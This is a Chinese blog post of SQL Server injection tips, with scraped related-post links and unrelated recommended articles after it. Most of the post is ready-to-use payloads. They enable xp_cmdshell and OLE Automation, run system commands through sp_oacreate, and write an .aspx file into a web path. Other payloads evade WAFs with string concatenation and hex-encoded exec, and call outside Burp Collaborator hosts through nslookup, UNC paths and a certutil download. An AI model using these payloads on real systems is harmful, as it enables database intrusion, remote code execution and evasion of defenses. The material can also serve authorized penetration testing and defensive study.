Sql server注入一些tips
sql server环境测试:
几个特性:
1.sql server兼容性可以说是最差的。
举例:
select x from y where id=1
字符串查询
select x from y where id='1' 这是会报错的,不允许的
select x from y where id="1"
假设y表有列名name,那么
select x from y where id="name" 为真。
那么利用这个特性我们可以爆破这个表的列名。
sql server下,挖掘注入就是用单引号('),双引号的场景很少,但是也有。 sql server不支持'1'-'1'=0这种运算,他会认为你是错误的,两个字符串无法进行相减,如果你是'1'-0他会进行类型转换不会出错。 修改:
update x set name='admin' where id=1
如果id处存在注入,那么本质上就是个where条件查询注入,查询怎么注入他就怎么注入。 update x set name="admin" where id=1
他会报错,没有人会这样写,用双引号。 测试sql server 修改注入,只能是'aaa'+'bbb'=aaabbb,如果可以就是注入。 或者是'aaa'' 和'aaa'''
除order by/group by外注入:
环境场景:当输入id->输出id相关数据,输入name,出现name相关数据,可能是order by还有可能是什么?
""是sql servr标识符,而不是字符串,他和mysql不一样
还有可能是这样的: select "name" from x
那么你可以这样去探测:name","id 总结:测试sql server注入使用双引号测试的场景很少,尝试"是不明智的
sql server注入到命令执行一些tips:
基础:
开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 执行命令:
exec master..xp_cmdshell 'ping dnslog' 2.启用sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE; 执行命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt' ;declare+%40shell+int+exec+sp_oacreate+'wscript.shell',%40shell+output+exec+sp_oamethod+%40shell,'run',null,'c%3a\windows\system32\nslookup.exe%20"http://2ruqida2pbiyia3mnwnsaiadu40vok.burpcollaborator.net"'; ;declare+@f+int,@g+int;exec+sp_oacreate+%27Scripting.FileSystemObject%27,@f+output;EXEC+SP_OAMETHOD+@f,%27CreateTextFile%27,@f+OUTPUT,%27d:\Dzts\zt\admin\65.txt%27,1;EXEC+sp_oamethod+@f,%27WriteLine%27,null,%27<%@+Page+Language="C%23"%><%+Response.Write("hello,world");+%>%27--
3.调用sp_oamethod 关于bypass:
exec=execute
原语句:execute master..xp_dirtree 'c:'
改造:execute('master..xp_dirtree "c:" ')
再次改造:execute('master..xp_dirtree "\\im86rc9bogsvyfv87zip9sz34uaky9.burpcollaborator.net"' )

bypass执行命令:
';execute('xp_c'%2b'mdshell " certutil.exe -urlcache -split -f http://cyen6bl8kg2svupmggzc6dk1zs5it7.burpcollaborator.net"');--%20111
开启xp_cmdshell bypass:
execute("sp_configure 'show advanced options', 1");RECONFIGURE;execute("sp_configure 'xp_cmdshell', 1;RECONFIGURE"); sql server专属特性:
select 1e1select user
相当于执行select 1e1 和select user,bypass waf
'select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s) -- a 案例:
aspx/.net站点支持get/post/cookie
把get参数放到cookie中:
Sql server注入一些tips的更多相关文章
- SQL Server注入
1.利用错误消息提取信息 1.1 枚举当前表与列 --' 抛出错误:选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中. 发现表名为 'users',存 ...
- Sql server注入简单认识
登录界面常常会涉及到敏感关键字的注入 为了对应面试,再看一下 怎样防止注入, 可以过滤SQL需要参数中的敏感字符(忽略大小写) public static string Split(string in ...
- SQL server 注入 和 SQL server 扩展(10.29 第二十九天)
Step1:检测注入点 Step2: select * from sysobjects (sysobjects 系统对象表,保存当前数据库的对象) select * from users wher ...
- Enable a SQL Server Trace Flag Globally on Linux
https://www.mssqltips.com/sql-server-tip-category/226/sql-server-on-linux// Microsoft has recently r ...
- SQL Server performance tips
Refer to: http://harriyott.com/2006/01/sql-server-performance-tips A colleague of mine has been look ...
- Sql server之sql注入篇
SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...
- sql server手工注入
sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...
- SQL Server的WAITFOR DELAY注入
SQL Server的WAITFOR DELAY注入 WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句.它的作用就是等待特定时间,然后继续执行后续的语句.它包含 ...
- Webservice WCF WebApi 前端数据可视化 前端数据可视化 C# asp.net PhoneGap html5 C# Where 网站分布式开发简介 EntityFramework Core依赖注入上下文方式不同造成内存泄漏了解一下? SQL Server之深入理解STUFF 你必须知道的EntityFramework 6.x和EntityFramework Cor
Webservice WCF WebApi 注明:改编加组合 在.net平台下,有大量的技术让你创建一个HTTP服务,像Web Service,WCF,现在又出了Web API.在.net平台下, ...
随机推荐
- 7.vue组件(二)--双向绑定,父子组件访问
本文主要说两件事 1. 如何实现父子组件之间的双向绑定 2. 父组件如何访问子组件的data,method, 子组件如何访问父组件的data,method等 一. 如何实现父子组件之间的双向绑定 案例 ...
- herry菌插件(B站C站)下载与安装(更新中)>>
插件简介: 目前该插件支持chrome浏览器(谷歌浏览器).360极速浏览器等chrome内核的浏览器 最新版插件下载: 点此下载>>>> 安装方法: 1.先下载上面的的插件 ...
- Microsoft Teams 最新功能发布:协作篇
正在进行的2021年的Microsoft Ignite大会,发布了一系列跟Microsoft Teams相关的新功能,英文介绍请参考 https://techcommunity.microsoft.c ...
- 测试平台系列(5) 引入Ant Design Pro
引入Ant Design Pro 回顾 还是继续回顾下之前的作业, 返回的中文变成了ascii字符,不要紧,我们光荣地百度一哈. 随便点进去看看,都可以找到正确答案: 可以看到,我们需要修改confi ...
- httpPost的两种方式
1,post-Body流和post参数,以下客户端代码和服务端代码可共用 客户端代码 /** * post 方法 * 抛送给EDI * @param url http://127.0.0.1:9003 ...
- Fcitx5 上线 FreeBSD
Fcitx5 上线 FreeBSD textproc/fcitx5textproc/fcitx5-qttextproc/fcitx5-gtktextproc/fcitx5-configtoolchin ...
- @MockBean 注解后 bean成员对象为 null?
笔者在写自测的时候遇到的问题: 我想模拟一个Bean,并在之后使用Mockito打桩,于是使用了 @MockBean 注解(spring集成mockito的产物),但代码编写好了后启动测试却报Null ...
- P2731 骑马修栅栏 Riding the Fences 题解(欧拉回路)
题目链接 P2731 骑马修栅栏 Riding the Fences 解题思路 存图+简单\(DFS\). 坑点在于两种不同的输出方式. #include<stdio.h> #define ...
- exe取消动态基址
动态基址开启后,在动态调试是想要和ida静态分析中的地址对应还要进行一步计算,取消动态基址便可以剩下很多时间. 只要修改pe文件头中的Characteristics低位置1 1 typedef str ...
- Java基础知识-简明阐述双亲委派机制及作用
1.双亲委派机制及作用 1.1 什么是双亲委派机制 当某个类加载器需要加载某个.class文件时,它首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类 ...